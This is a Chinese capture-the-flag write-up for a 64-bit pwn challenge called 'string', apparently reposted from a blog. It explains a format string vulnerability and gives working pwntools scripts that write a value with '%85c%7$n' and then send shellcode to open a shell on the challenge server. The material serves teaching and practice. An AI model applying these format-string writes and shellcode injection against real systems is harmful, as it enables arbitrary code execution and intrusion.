string的wp

string

64位的程序,主函数里面有3个函数,都有canary保护

v4 = malloc(8uLL);
v5 = (__int64)v4;
*v4 = 68;
v4[1] = 85;
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v5, a2);
printf("secret[1] is %x\n", v5 + 4);

这个函数里 v5 的地址告诉了我们,看一下sub_400D72(v5)这个函数,v5起到什么作用
在这里插入图片描述

里面有3个子函数,刚刚的v5传给了a1
看一下sub_400ca6函数
在这里插入图片描述

这里这句话

判断a1指针 与 下一个指针的值 是否相等
相等的话下面有一个写入v1的语句,并把a1变为函数并调用,也就是说可以写入shellcode
在这里插入图片描述

也就是说 a1 值 需要是85 就可以绕过if语句

看一下第二个函数
在这里插入图片描述

这里就有格式化字符串漏洞了

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
因为v5的地址已经给我们了,我们只需要确定v5的位置,然后用这个漏洞改变v5的值为85
测试位置


函数sub_400BB9()内的v2是我们输入的v4的地址,我们需要知道v2在栈内的位置,这样才能通过 %?$n 向v2指向的
地址处写入字符串长度。

#查看sub_400BB9()栈内情况
from pwn import *
p = remote("111.198.29.45","49404")
context(arch='amd64', os='linux', log_level='debug')
p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)
p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')
p.sendlineafter("'Give me an address'", str(int(v4_addr)))
p.sendlineafter("And, you wish is:",'AAAA'+'-%p'*10)
p.recvuntil('I hear it')

可以找到format的起始位置。v1是栈内第7个参数。所以wish就写成 %85c%7$n ,作用是将85写入栈内第7个参数所指向的地址。

from pwn import *
p = remote("111.198.29.45","49404")
context(arch='amd64', os='linux', log_level='debug')
p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)
p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')
p.sendlineafter("'Give me an address'", str(int(v4_addr)))
p.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh())
p.sendlineafter("USE YOU SPELL", shellcode)
p.interactive()

获得执行system(“/bin/sh”)汇编代码所对应的机器码: asm(shellcraft.sh()) 。注意要指明arch和os。arch有
i386(x86)和amd64(x64)。攻防世界的题解区有人说这个函数失效,其实是因为他没指明环境。不同环境下的汇编代
码是不同的。
代码的第二段从 printf(“secret[0] is %x\n”, v4, a2); 输出的字符串中,提取v4的地址,注意把末尾的 \n 剔
除。
然后代码的第四段Give me an address,注意源代码中 _isoc99_scanf("%ld", &v2); ,读入的不是字符串,是
int64,是个数字,不要输入0x开头的字符串,也不要类似于1003fd2c的十六进制字符串,就输入一个十进制数字就
行。不要使用p64()转换!!!int转换即可,但是send发送的是一个字符串,所以再str一下。

猜你喜欢

转载自blog.csdn.net/wuyvle/article/details/113059154